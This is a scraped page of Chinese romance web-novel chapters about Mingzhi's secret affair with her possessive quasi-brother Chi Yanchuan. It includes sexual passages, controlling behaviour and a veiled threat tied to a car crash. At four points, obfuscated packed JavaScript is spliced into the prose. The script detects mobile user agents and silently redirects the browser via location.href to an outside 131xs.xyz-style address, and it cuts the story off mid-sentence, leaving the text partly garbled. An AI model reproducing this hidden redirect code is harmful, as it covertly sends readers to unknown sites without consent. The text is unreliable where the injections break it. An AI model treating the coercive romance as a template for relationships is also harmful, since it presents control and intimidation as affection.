明枝舒了口气,挣扎着要从迟砚川身上下来。 “紧张什么,你不就喜欢这种刺激。” 迟砚川扶着她腰,神色冷暗难辨,“规则是你定的,忘了吗。” 规则是她定的。 迟砚川说这句话的语气就好像一只听命于主人的大狗。 忠心,听话,无害。 实则不然。 当初,明枝一心想把那晚当作无事发生揭过,是迟砚川不允许。 她没办法,只能想了个下策应付他。 生理吸引总会有腻的那天。 众星拱月长大的太子爷怎么可能一直陪她玩见不得光的地下游戏。 他总会叫停,或者,等他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549470|186762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和大哥迟清淮一样接受家里人安排的联姻,再或者,等她大学毕业搬出迟家。 那么过往的一切都会自然而然地走向结束的局面。 这是明枝的计划。 然而,事情似乎有些偏离轨迹。 明枝在淮城,迟砚川远在国外。 她几乎想方设法地减少在他面前出现的次数。 然而,不知是否激起了他的逆反心理,迟砚川至今丝毫没有叫停的意思。 反而对她的控制欲日渐加强。 他不允许她身边出现任何对她有意思的异性,更不允许她的眼睛过多停留在除他之外的男人身上。 霸道又不讲理。 周围安静下来。 身体依旧被迟砚川圈着,明枝知道自己不给点甜头,他是不会轻易放她出去。 明枝深吸一气,“迟砚川,我的马术服都被你弄掉了。” 迟砚川看了眼她,弯腰把衣服都捡起来,抖了抖。 “三哥。” 明枝改变称呼:“你帮我换。” 迟砚川盯着她半晌,轻笑了声:“哄我?” 明枝只是朝他眨了眨眼睛,不愿承认,彼此交颈相贴莫名给她一种他们真的正在恋爱的错觉。 危险的错觉。 “不愿意算了,我自己换。” 迟砚川抓着衣服没让她扯走,一件件先挂到架子上,然后开始脱她身上的。 多亏迟砚川刚才关了灯,不然大剌剌的灯光下她真的要燥死。 然而下一秒,她脆弱的心脏忽然尝到了他收拢的坚硬五指。 明枝发出一声惊呼,白皙的脖子紧绷后仰,双手慌乱抬起试图把他逼近的肩膀往外推。 迟砚川不退反进,舌尖轻抵端点,嗓音喑哑恶劣至极:“这才叫哄我,记住了。” 明枝一脸委屈地瞪着他。 迟砚川笑了一声,帮她换好衣服,让她坐到身后的软凳上。 他在她面前半蹲下来,准备给她换鞋。 两秒后,“啧——” 迟砚川扣住她乱动的脚踝,不悦掀眸:“谁惯的你,这么喜欢踹人?” 明枝:“没踹,是膝跳反应。” 迟砚川看她倔强抬起的下巴,轻笑,“也对,我们枝枝的反应,一直都很大。” 明枝:“……” 明枝给自己选的是一双黑色长靴,靴筒完美收束,拉长腿部线条比例。 全身装备齐全,明枝站在全身镜前照了照,还算满意。 “枝枝。”迟砚川站在她身后,“帮哥哥选一套。” “你确定?” 明枝与镜子里的他对视,几百个心眼子悄悄冒了出来。 “那……就那套吧。” 明枝随手一指过去,是一套雅白色的马术服。 迟砚川的衣帽间里除了白衬衣是白的之外,其余的压根看不到一点白。 他本身也长了一张更适合深色着装的冷感脸。 更衣间门被推开,明枝抱胸的动作一顿,不自觉放下了手臂。 她的眼睛里只剩下满片的白,以及迟砚川那张被纯白衬得清贵无方的脸。 他怎么…… 穿白色也这么好看? 迟砚川慢条斯理系着袖扣,“看来枝枝对哥哥这身很满意。” “也就…还行吧。” 明枝清咳了声,连忙移开视线。 可这一移开却瞥见了不得了的东西,明枝瞬间瞪大了眼睛。 天,怎么会那么大一包? 走动间不仅轮廓分明,连放在左边都一清二楚。 明枝在心里默念三遍非礼勿视,脸颊却不争气地有些发红。 迟砚川似乎完全没察觉到哪里不对劲,他扫了眼全身镜里的自己,颇为满意。 “走吧。” “——诶等等!”明枝拽住他的手臂。 迟砚川回头:“嗯?” 明枝硬着头皮:“三哥,你还是换,换一套吧!” “为什么,枝枝不就喜欢哥哥穿这套吗?” “我现在又不喜欢了!” 明枝强调:“你还是穿黑色吧!” 黑色应该没那么明显。 “枝枝果然,”迟砚川顿了顿,一副对她纵容又无奈的语气摇了摇头,“对哥哥的占有欲强得可怕啊。” 明枝:“…………” 他果然从一开始就知道! 还故意装,就是在等着她主动开口叫住他吧! 指不定他那一刻脸上有多暗爽。 明枝懊悔,早知道就让他这么穿出去,反正丢脸的又不是自己! 7. 没你重要 阳光正好。 明枝和安遇各自骑着一匹白马在新手跑马场慢慢骑行。 过了会儿,几个年轻男人策马而出,阵仗就像古代参与围猎的世家子弟般声势浩大。 迟砚川身着一身黑色高腰马术服,骑乘一匹深褐色汗血宝马。 一阵尘土飞扬,迟砚川手持缰绳率先在场上疾驰一圈。 他身姿矫健,双眸清锐,举手投足尽是桀骜不羁的气度。 新手跑马区和竞技场只隔着木栅栏。 明枝收回目光,悄然握紧缰绳。 “枝枝——” 伴随着安遇的一声惊呼,一匹白马如利箭飞驰了出去。 在呼啸而过的风中,明枝的目光毫不退让地锁定前方,纤细的身躯随着骏马奔腾的节奏自然伏低。 她精准把控速度,策马跑完一圈回到起点,利落拉紧缰绳。 明枝摘下头盔,后脑勺的高马尾随风飘逸,几缕发尾扫过那张明媚自信的面容。 刚才那一刻,她是无拘无束的,和平时遵守规矩乖巧懂事的迟家明小姐判若两人。 “枝枝,你好帅啊!”安遇一脸激动。 明枝跳下马,接过安遇端给她的果汁。 安遇意外道:“你的马术怎么这么好,也没听你大哥提过,是谁教的啊?” 明枝喝果汁的动作一顿。 “三少,你家那位明小姐的马术不错。”不远处,几名年轻男人的目光频频望过去,语气里有着欣赏和惊艳。 迟砚川懒洋洋地跨坐在马鞍上,骨节分明的长指卷着缰绳,闻言漫不经心挑眉一笑。 “我教的。” 迟清淮侧目看了他一眼。 * 明枝喝完果汁,手心还带着玻璃杯壁的凉意,她抬手松了松领口的拉链。 阳光灼人,明枝渐渐有些待不住,而安遇还在兴头上,跟教练说还要再骑两圈。 “安遇姐,我去里面等你。” 明枝怕热,安遇扭头见她脸都晒红了,赶忙让她进休息厅。 微风吹动,明枝步伐加快,发梢不时扫过微微出汗的后颈。 休息厅里没多少人。 明枝边走边卷起衣袖,忽然一个男人伸手拦住了她的去路。 对方上下打量她一眼,眼神肆无忌惮,“美女,你什么价位?” 没等明枝开口,他又自顾自说道:“多少都行,你直接跟你们经理说,以后你单独服务我。” 明枝蹙眉,看来这人是把她当成了场地助理。 也是凑巧,她身上这套马术服和场地助理的制服颜色相近,不过细节上大有不同。 她的这套服装从上衣到皮带都带着爱马仕的logo。 然而面前这个男人的眼里只有明枝那张被阳光熏得白里泛红的脸,全然没留意差别之处。 明枝道:“你认错人了。” “怪不得陈昊能支起这么大的场子,”男人充耳不闻,眼神轻佻打量她,“他这俱乐部里的美女还真是一个赛过一个。” 明枝无语,不想再跟他说下去,抬脚绕过他准备走人,不料对方竟然直接伸手来拽她。 明枝立刻侧身避开,脸色冷了下来:“让开。” “你装什么清高?” 男人被拂了面子,高抬下巴表情嚣张道:“信不信我找你们经理让你在这儿待不下去?” 他的声音引得周围几人投来目光。 “王总……” 男人身旁的女伴小声开口,“她要是不愿意……” “有你什么事儿!”男人蹙眉,一把甩开她的手臂。 女人穿着高跟鞋一下没站稳,踉跄着撞到了旁边的边柜上,疼得闷哼一声。 明枝伸手扶了对方一把,她脸色瞬间沉了下来,从一旁的马具架上抄起一条马鞭。 “啪!”一道凌厉的破空声响起,马鞭精准抽在了男人的大腿上。 “啊——”对方猝不及防痛呼出声,捂着腿跳脚两下便摔了下去。 围观的几个人见状面露惊诧,像是难以置信那个面相看起来漂亮乖顺的女孩子会突然出手反击。 “枝枝。” 这时,一道清冽低沉的嗓音从休息厅入口传来。 明枝愣怔两秒,立刻眼疾手快地把马鞭扔到了边柜上。 刚才还一脸别惹我的冷脸,顷刻间已经换成了‘受惊小羊羔’缩着脑袋。 迟砚川身后是迟清淮和安遇,他扯了扯唇,难怪这姑娘又开始装绵羊。 迟砚川大步迈进休息厅,皮靴毫不留情地碾过蜷在地上男人的手掌。 即便对方发出一声嚎叫,他依旧没停下脚步。 安遇却被男人那声杀猪般的叫声吓了一跳,迟清淮道:“出去等我。” 安遇摇摇头:“我担心枝枝。” 她绕开地上的人,快步走到明枝面前,“枝枝,你没事吧?” 明枝咬着唇一脸不安:“嫂嫂,我不认识他,可他上来就抓我的手。” “别怕别怕,哥哥嫂嫂来了。” 安遇心疼,拍拍她的后背把她护在怀里。 迟砚川瞥了眼被丢在一旁的马鞭。 “手给我。” 见明枝不动,迟砚川直接握过她的手,压着手腕轻轻转了转。 明枝微微拧眉,却忍着没吭声。 怕是刚才甩鞭子时手腕吃劲过头,不小心扭到了。 迟砚川微沉着脸:“回车上等我。” “三哥,我没事。”明枝不想把事情闹大,也担心传到顾臻的耳朵里。 迟砚川语调冷沉:“听话,去车上。” 这时候的迟砚川更让明枝发怵,平时他虽然也冷着脸,却会纵容她发泄脾气。 可他现在似乎是真的不高兴了。 安遇陪着明枝离开。 周围清场,迟砚川拿起那条马鞭,想起小姑娘刚才挥鞭时的飒爽。 “三……三少?!” 抱着大腿瘫在地上的男人暗道不好,他面色铁青解释:“我不知道她是您的人……我真不知道!!……看在咱们两家还有合作的份上,您高抬贵手……” 话音未落,男人忽然大叫一声。 然而马鞭只是重重抽在地板上。 迟砚川脸色阴郁睨他,“你爹见了我都得装孙子,你算什么东西?” “砚川。” 迟清淮扫过他紧绷的侧脸,那股子狠劲仿佛能掀了天。 这么多年他很少真正动怒,为数不多的几次,现在想来,都跟明枝有关。 看来他是真的把明枝当亲妹妹宠。 迟清淮温声提醒:“枝枝还在等你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549471|186762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想起小姑娘蹙眉忍痛的表情,迟砚川转过身,“哥。” 迟清淮让他放心:“枝枝也是我妹妹。” “迟总,迟总!今天真是一场误会!”见迟家那位煞神似的三少走了,王总像是迎来希望般看向素来温润和蔼的迟清淮。 “王总似乎伤得不轻。”迟清淮说。 “不不不,我没事儿,我一点事儿都没有!”男人最关心的还是合作的事,他小心翼翼问道:“迟总,您看咱们接下来的……” 迟清淮笑容不变:“合作终止通知,我会让律师发给贵司。” 王总彻底懵了。 感情这两位是一个唱红脸一个唱白脸呢?! * “还是去医院看看吧,”安遇担忧道:“万一扭伤了怎么办?” 车里,明枝转了转手腕,虽然是有点疼,但还能接受。 明枝说没事,安遇不放心,这时迟砚川大步走了过来。 “还是让三弟带你去医院看看吧。”安遇叮嘱一句,随即让开位置下了车。 刚走两步,身后的车子忽然轻轻一晃,安遇像是有所察觉,转过身却只见漆黑的车窗。 经过特殊处理的玻璃从外看不见里面。 “你干嘛,大嫂还没走远呢!” 忽然被迟砚川从副驾提抱过去的明枝吓了一跳。 “别乱动。” 迟砚川扣住她小臂,轻轻转动,“疼不疼?” 明枝摇头。 “说实话!” 明枝瞪他:“你这么凶干什么。” 迟砚川:“……好了,我不凶你。” 明枝抿着唇,任由迟砚川抱着自己。 她没问那个王总最后怎么处理,有些事知道得越少越好。 迟砚川的强硬手段,明枝只意外目睹过一次,那次是他身边的一个保镖,跟了他两年,却被商业对手收买,出卖他的行踪。 那个场面至今明枝都不敢回想。 迟砚川发动车子准备开往医院,透过车窗,明枝看见迟清淮和安遇站在一群人身侧。 “你今天不是要和大哥一起谈生意吗?”明枝说:“我手真没事,不疼。” 她最不想因为自己的事麻烦到别人。 迟砚川:“你不疼我疼。” 明枝:“我真的——” 迟砚川打断她:“没你重要。” 漫不经心的四个字忽然落入耳畔,像一片柔软的羽毛在她心尖扫了扫。 明枝垂下眼睫,盯着自己的掌心。 “换了我受伤。”红绿灯前,迟砚川忽然发问:“枝枝会以我为先吗?” 沉默两秒,明枝扬起笑容灿烂的一张脸:“三哥,你是最厉害的,你不会受伤的。” 车内安静下来。 迟砚川似笑非笑地盯着她。 语调温柔,实际刀尖抹蜜,一个字,一个字往他心口捅。 这么狠心的小姑娘,真是让人又爱又恨,他又怎么可能放手呢。 车子开进医院,停好车,迟砚川为她解开安全带,一手拨开她耳边的碎发。 “宝宝,很遗憾。”他在她细滑的脸上轻抚。 “遗憾什么?”明枝心里莫名咯噔了一下。 还能什么。 你的计划,注定要落空了。 8. 只喜欢你 外界对迟砚川的评价,不外乎是岚城太子爷,泛海集团未来掌权人,生来百亿身家,站在镶钻金字塔的顶尖。 自从迟砚川的手臂上多了道显眼的纹身后,外界对他的评价又多了一条。 ——迟三少,看起来就玩得很花。 大家这么说也无可厚非,迟清淮是出了名的温文尔雅,迟景明是救死扶伤的白大褂,有职业滤镜在。 唯独迟砚川,一张桀骜冷脸,性格和长相都不太像儒商迟家人。 这些话也进过明枝的耳朵里。 迟砚川玩得花不花她不知道,但他咬着她耳朵强调过许多次。 他的第一次是她。 “只喜欢你,宝宝。” “也只对你有反应。” “你看,它很兴奋,因为你在哭。” 为了惩罚她,他会故意把前情时间拉长要她哭了一次又一次。 细数迟砚川的恶劣行径,明枝三天也说不完,然而回忆迟砚川对她的好,三年也说不尽。 “腕关节轻度扭伤。” 医生看着片子,温声叮嘱道:“这两天别用力,跌打扭伤的喷雾配合腕带固定,很快就会好。” 这是顾家注资的高端私人医院,也是迟景明就职的医院。 医生起身,亲自把他们送到诊室门口,护士也已经帮忙把扭伤喷雾和腕带从药房领取了回来。 “喷雾一天三次,如果疼痛明显可以酌情增加次数,腕带则像这样绑。” 护士把腕带递给明枝,正准备教她。 迟砚川把腕带接了过来,护士愣了片刻才继续说。 “不要收太紧,和运动护腕的使用方法不同。” 迟砚川又调整了一遍,偏头:“这样紧不紧,疼吗?” 明枝摇摇头,盯着迟砚川的侧脸有些出神。 在迟家,她是被精心养着的,上面有三个哥哥保护着,佣人阿姨们对她也照顾周到,从小到大没受多少次伤,也因为到底不是自己家,明枝打心里谨守着规矩,万不能还像从前一样上树摘桃下河捞鱼和人打架。 记忆中印象最深的那次,大概是她刚住进迟家的那个冬天,因为气候不适发烧了。 当时迟正庭和顾臻都出差在外,明枝烧得迷迷糊糊,是迟砚川发现她不对劲,把她从床上抱了起来。 “三哥,我是不是可以去见爸爸妈妈了。”她的脑袋很晕,很难受,好像睡着了就再也醒不过来了。 安静许久,头顶才传来一道难得温和的嗓音:“见了爸爸妈妈就见不到三哥了,枝枝不要三哥了?” 疾驰的车里,明枝有气无力地说:“我可以把你一起带走。” 迟砚川:“……” 没白疼她,烧成这样了都不忘把他也给带走。 * 从医院出来,明枝斜靠在椅背上,百无聊赖地盯着窗外掠过的城市街景。 直到她发现车子不是往知景园的方向开。 “要去哪?” 想到什么,明枝立马扭头,一张小脸写满了抗拒:“迟砚川,我不去你那里。” 迟砚川不咸不淡:“那你跳车。” 明枝掰了下门把,压根就打不开,更别说跳了。 “停车。” “我手都这样了,你是人吗?” “我不想做。” “迟砚川,你听到没有!” 迟砚川低敛着眸,漆黑的碎发散在眉间,顶着一张厌世脸单手打方向盘,控制车速,右转,从辅路并入回到主干道上。 “骂够了没?” 明枝再次扭头看向车外,发现又变成了回知景园的路。 车里诡异地静默三秒。 “修……修路啊。” 明枝摸了摸鼻尖,脸上一左一右写着尴尬二字,她决定倒打一耙:“你怎么不早说,我又不知道——” “谁说要跟你做。” 迟砚川睨她一眼,“别太贪吃。” 男人薄唇微扬,单手把控方向盘,右手伸了过去在她脸颊掐了掐,“收敛收敛对我的占有欲。” 脸被掐成松饼的明枝:“……” * 到家,林姨瞧见明枝手腕绑成这样,顿时心疼得不得了,说要赶紧给她煲骨头汤补补。 然而明枝已经一路吃瘪吃饱了。 “医生怎么说?”安遇的语气里带着关切,“严重吗?” 明枝晃了晃手腕不甚在意:“没事儿,两天就能好。” “以为自己是大摆锤?”迟砚川蹙眉,一把握住她的手臂,“不许乱晃。” “……哦。” 明枝把手抽回来。 迟砚川出门回来习惯换一套衣服,上楼前他用眼神警告明枝,不要再折腾她的手。 “枝枝。” 顾臻已经从迟清淮那里了解了事情的经过,她把明枝叫到偏厅。 “以后遇到这种事,让你的哥哥们来解决。” 稍作停顿,顾臻温声补充:“记得我说过的,你在外面的所有言谈举止都代表着迟家。” “臻姨,我明白了。” 明枝双手交握在身前,乖巧点头。 她知道自己今天不该动手的,挥鞭打人,怎么都不是圈子里千金小姐大家闺秀们会做的事。 大概是她那会儿刚骑马跑了一圈,很兴奋,飙升的肾上腺素还没下去,就像回到了无拘无束的小时候,然后就冲动了。 但一想到那个男人前一秒还趾高气扬地把女人当玩物,下一秒就躺在地上嗷嗷叫,明枝的嘴角就忍不住翘了翘。 心里仿佛住了一个小恶魔,正在举着小旗子给她疯狂点赞: 打得好打得好打得好。 * 吃过饭,明枝上楼回房准备休息。 转过楼梯拐角,迟砚川正单手插兜倚在书房门口。 他应该还洗了个澡,额前碎发微湿散落,那双带着淡淡戾气的眼睛被遮挡了些,一身黑色宽松套头T恤显得颇具少年感。 然而只有明枝知道,他也就穿着衣服的时候像个人。 上衣遮盖着轮廓分明的腹肌,紧致流畅的人鱼线,强劲有力的窄腰,都是成熟男人的标志,尤其夜深人静时,一滴薄汗从他的下颌一直滑落到锁骨,胸口,腰腹,最后无声湮没在她的大腿上。 那是她回自己房间的必经之路。 迟砚川插个兜站那儿装酷是为了什么,不言而喻。 明枝左右扫了眼走廊,空无一人,她不情不愿地挪步过去。 毫不意外,被迟砚川伸臂拦下。 “你又要干嘛?” 明枝咬牙,声音压得低低的:“能不能别在家这样?” 迟砚川歪头:“怎样?” 明枝:“就现在这样!” 像个绑架犯一样到处蹲她。 她都怕死了被其他人发现,而迟砚川却恨不得让所有人都知道他们睡过。 迟砚川扫过她写满警惕的小脸:“是书房,又不是卧房,你怕什么。” 他淡声补充:“里面没床。” 有床没床根本不是关键问题,上次他们也没在床上。 而且迟砚川分明更喜欢解锁一些‘乱七八糟’的地方。 “什么房我都不进去。” 明枝坚决,然而话音刚落,横亘在她面前的手臂忽然收拢,迟砚川揽住她腰往他怀里猛地一撞。 男人混不吝一笑:“好软。” “……混蛋你放手!” 明枝吓死了,急得就差跺脚,一双眼睛不时看向四周,生怕哪个角落就冒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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从小到大,砚川和枝枝几乎形影不离,也就枝枝去淮大上学后,两人才少了交集。 迟清淮也能理解,毕竟以前三弟是最小的,忽然有一天,家里来了一个比他还小,需要照顾的妹妹。 角色转换,从弟弟升级成哥哥,触动了对年幼妹妹的保护欲再正常不过了。 迟清淮是进来谈公事的。 还没来得及开口,迟砚川抬手示意他先别说话。 迟砚川起身走过去。 明枝睡得正香,缠着腕带的手臂垂在一侧。 迟砚川半蹲下来,先是小心解开腕带,然后取出消肿喷雾对着她的手腕轻轻按压。 清凉的雾气接触在皮肤上,明枝无意识地皱了皱眉,但没有醒来。 迟砚川盯着那一小片泛红的皮肤,不知想到什么,漆黑的眼底掠过一丝冷戾。 直到喷雾完全干透,迟砚川重新拿起腕带仔细给她绑了回去。 整个过程他的神情十分专注。 迟清淮旁观,不由问:“怎么不让阿姨来?” 迟砚川:“她娇气得很,不喜欢外人碰。” “哦?” 迟清淮微微挑眉。 迟砚川准备把明枝抱回她房间睡,手臂刚穿过她膝弯。 明枝被扰醒了,她困得厉害,眼睛只睁开了一条缝,视角受限,眼前只看得见迟砚川一个人。 迟砚川立在窗边斜映的余晖里,整个人仿佛染上了一层柔和的雾霭。 即便是日光的直射,他的眉眼仍带着清晰的棱角,精致得恰如其分。 这人怎么无死角的,好气。 明枝又阖上了眼睛:“不做……别动我……” 嘴上凶巴巴的,身体却敌不过困意,往迟砚川怀里蹭了蹭,两条莹白的手臂环上他的脖颈,寻了个舒适的姿势,眼睫重新垂落,又沉沉睡了过去。 迟清淮人站在稍远处,没听太清楚:“枝枝说做什么?” 还能做什么,做.爱做的事,我们做过很多次,她是我的人。 迟砚川:“作业。” 9. 我的宝贝 明枝睡得很熟,还做梦了。 她回忆起小时候,有一次给同桌出头和她的后桌打起来了。 “老师,是他一直扯我的头发,枝枝是为了帮我!” “他扯你头发你可以告诉老师。” “还有明枝,老师说过多少次了,不关你的事不许插手,更不许在课堂上打架。” “是他先在课堂上揪月月的头发,那我也只好在课堂上揪掉他的头发啦。” “明枝!” “我知道错了老师。” “你啊,每次都是认错最快,下次照犯。” 从办公室出来,明枝低着脑袋说:“爸爸妈妈对不起,我又闯祸了。” “枝枝,你这次不算是闯祸,但也不完全对,就像老师说的,下次遇到这种事,你可以先告诉老师,让她帮你们解决。” “哦。” “让爸爸看看,你有没有受伤。” 明枝摇摇头,小声说:“他像个弱鸡,就会欺负月月,才打不过我。” “……好吧,这次算你帮了月月,爸爸妈妈还是会表扬你。” “真哒?” “嗯,我们枝枝最棒了。” 明枝瞬间粲然一笑,扑到他们怀里,“爸爸妈妈我爱你们!” “爸爸妈妈也爱你。” 睡梦中,明枝在笑。 笑着笑着,枕头却湿了一片。 * 次日上午。 三辆车子前后开进庭院,明枝推开窗,恰好看见其中那辆熟悉的劳斯莱斯古斯特轿车。 她眼睛一亮,转身走进衣帽间换下睡衣,整理妥当后走出房间。 迟砚川恰好也从房间里走出来。 明枝心情不错,眉眼弯弯地开口:“三哥早。” 迟砚川挑眉。 沾他亲爹的光了,平时她哪肯这么笑给他看。 老远看到他就恨不得扭头走人。 明枝快步下楼,“迟叔叔!” 一听见明枝声音,迟正庭俊朗儒雅的脸上笑容更盛。 迟正庭问她最近过得怎么样,又问她学业重不重,一个人在淮城有没有照顾好自己。 迟正庭原本的打算是在淮大附近给明枝买套公寓,让家里的阿姨过去照顾她,再给她配备一辆专车和司机,方便和朋友出行游玩,但明枝坚持住校。 “枝枝,你的手是怎么了?” 很快,迟正庭便注意到她手腕上的绷带,他蹙眉道:“清淮,砚川,你们就是这么照顾妹妹的?” 明枝连忙道:“不关大哥的事。” 迟正庭:“那就是砚川没把你照顾好。” 明枝一时也想不起来为什么没带上迟砚川,或许是她下意识地将迟砚川视为更亲密的自己人,而非外人,因而无须为他辩解。 明枝为自己的这种习惯感到懊恼。 “是我自己不小心,而且已经快好了。” 说着,明枝便要动手把腕带摘下来,然而刚撕开一个口子,另一只手掌便覆了上来,“别乱动。” 低沉略带警告的嗓音在头顶响起,不等明枝反应,迟砚川已经把她的腕带重新固定了回去。 明枝暗暗绷紧了身体,意识到在场所有人的目光都聚焦在自己和迟砚川身上。 她心虚得厉害,清咳了声连忙转移话题,“迟叔叔,您最近工作繁忙,要注意休息。” 迟正庭笑:“好,还是枝枝贴心。” “砚川,枝枝,先过来见过客人。” 顾臻见他们叙旧够了,淡声打断。 明枝这才注意到客厅那边的沙发上还坐着三个人。 年长的两位是东盛集团的蒋先生和蒋太太,坐在蒋太太身旁的年轻女孩大概就是蒋南初。 她一头浅棕色卷发,化着淡妆,纤细的脖子上戴着一串红宝石项链,整个人明媚大气。 蒋南初随父母起身,款步走近,目光直直落在迟砚川身上,语气熟稔:“好久不见。” 迟家和蒋家是世交,迟砚川和蒋南初同属一个圈层,只是交集不多。 迟砚川身边众星拱月,但真正被他当朋友看待的人不多,异性朋友更是没有。 蒋先生道:“南初下个月刚好要前往清迈考察项目,砚川,辛苦你到时候帮我多照应照应她。” 捕捉到迟砚川面上转瞬即逝的冷淡,蒋南初从容地接过话头,“爸,我都长大了,自己能解决问题,不能总是依赖你们的。” 蒋先生摇头失笑:“瞧瞧,孩子长大了,当父母的反倒不好多操心了。” 迟正庭:“正是这个理,尤其她们女孩家,出门在外的,枝枝去淮城上大学我也是不放心。” 见提到自己,明枝立于一旁露出温顺得体的笑容来。 顾臻示意众人移步茶室谈公事。 经过明枝面前,迟砚川捏了捏她的手心,“绑多一天,不许再拆。” “去吃早餐,昨天不是说想吃燕麦碗,我让林姨给你做了,加了你最喜欢的青提。” 蒋南初余光掠过这一幕。 * “那位就是蒋小姐,果然很有大家风范。” “长得还漂亮,怪不得臻姐也满意。” “所以是真的了?” “八成了吧,当初安遇小姐不也是臻姐先看中,后来才和大少联姻的。” “枝枝,你怎么不吃了?” 林姨见她捧着燕麦碗半天没动勺子。 明枝说:“光顾着听你们说话,都忘了。” 林姨和周围几位阿姨相视一笑,迟家的规矩说严不算严,但也只有在明枝这样亲切随和的小姐面前,她们才敢这般不出格地闲聊几句。 蒋家与迟家的渊源颇深,早年两家的旁支便结过姻亲。 过段时间,东盛集团和泛海集团还将共同承接市政的一项重点民生工程。 今天的会面大概是为了商讨工程事宜。 但仔细想想,又好像并非纯粹的公务洽谈,否则怎么会约在家里。 再想起蒋先生的那句话,看来今天这个会面,是为了蒋南初和迟砚川安排的。 这便是顾臻的行事风格,打定主意的事必会付诸行动,难怪那天她会开口让迟砚川在家多留两天。 吃完最后一口燕麦酸奶,明枝说:“林姨,我待会儿就回学校了。” “这么快?难得回来怎么不多住几天?” “学校有课。”明枝拿出万金油借口,事实上她明天也的确有主课。 况且已经见过了迟叔叔,她也没什么别的要继续留下来的理由。 林姨闻言也不好再多说什么,只把刚烤好的饼干仔细装了一大袋,让她带回学校吃。 * 商务车平稳开出庭院,身后那栋巍峨的别墅渐渐消失在视野中。 明枝倚在座椅靠背,目光直视前方,没有回头。 然而车子还没开出这片行政区域,一辆黑色迈凯伦已经在身后追了上来。 林叔看了眼后视镜:“明小姐,好像是三少。” 后座沉默片刻。 明枝平静开口:“三哥可能是有什么东西要给我,林叔,麻烦你停车吧。” 车子靠边停。 明枝深吸口气,推门下车。 车门关上的瞬间,明枝感受到了一股冷冽的低气压。 “要走为什么不说一声?” “说了。” “跟谁说?” “臻姨,林姨,安遇姐。” 车内陷入短暂的寂静。 迟砚川薄唇勾着笑,黑眸却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549473|186762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷冷地睨着她:“跟谁都说,就是不需要跟我说?” “你在忙,我不想打扰你。” “是吗,枝枝对哥哥还真体贴。” “我总是要走的,说不说都一样。” “一样?” 迟砚川盯着她,“我要是不让,你觉得你走得了?” 男人抬手,一声清脆的咔嗒声响,车门落锁。 明枝眉心一跳,呼吸慢了半拍,贴着座椅的后背瞬间如拉满的弓弦紧绷起来。 她一脸防备地盯着他。 “我给你办留学手续。” 不急不缓的一句话却足以定夺明枝的命运走向。 “我不要!”明枝的声音陡然拔高,惊怒交加划破车内一触即燃的气氛。 事实上早在驻外的第一天迟砚川就考察了当地的几所大学。 但凡小姑娘是表里如一的乖巧温顺,点头同意,他会即刻办理所有手续。 他们原本不必分开。 是她不愿意,她不愿意来到他身边。 “还记得那个姓王的吗,听说他昨晚醉驾,不小心被撞成了两截。” 明枝瞬间面露惊愕。 迟砚川腰往后靠,看着她,抬手拍了拍自己的大腿。 明枝唇角向下抿着,鼻尖皱起,泛着薄红的眼睛里写满了倔强和不愿。 然而微微发颤的睫毛却还是泄露了她的惶然。 最终,她极轻地咬了下自己的下唇,心不甘情不愿地坐到了他腿上。 “别误会,不是他人,是他的车成了两截,他命大,还活着。” 迟砚川揽着她腰,语气平淡到仿佛在陈述一件无关紧要的事。 明枝蜷缩起手心,声音微颤:“你是在威胁我吗?” 迟砚川将她的手心掰开,用指腹摩挲她指尖用力按压弄出来的几道红痕,眼底有着怜惜。 他把她的手抬至唇边,微凉的薄唇吻上她的手心,黑眸深邃地注视着她。 “枝枝是我的宝贝,我怎么舍得威胁你?” “哥哥是在告诉你,只有我才能保护你。” 手心一片灼热气息,他的唇又是冰的,明枝头皮一阵发麻,手臂下意识想抽出来,迟砚川却握着不放,挣扎间,一记清脆的声响在车内炸开。 望着迟砚川的侧脸,明枝的身体瑟缩了下,有些后怕。 打人不打脸。 她怎么就真的打到他的脸上去了。 算了,打就打了。 这次熟练,下次就不手生了。 明枝那点轻飘飘的力气,迟砚川丝毫没觉得疼,他顶了顶腮,掐着她腰故作冷肃,“手才好又用手,不想好了?” “是你先吓唬我。” “我吓得了你?” 他抓着她手往下按,“好好养手,要真是力气多到没地儿使,就全用在这,过几个月我回来亲自验收。” “你变态——” 明枝吓一大跳,爆发尖锐叫声把手抽了出来紧紧护着。 她又气又赧。 敢验收试试,我把它拧断! 迟砚川散漫一笑,托起她的下巴指腹来回摩挲。 男人俯身逼近,薄唇精准压上她的,唇齿纠缠勾出湿热气息。 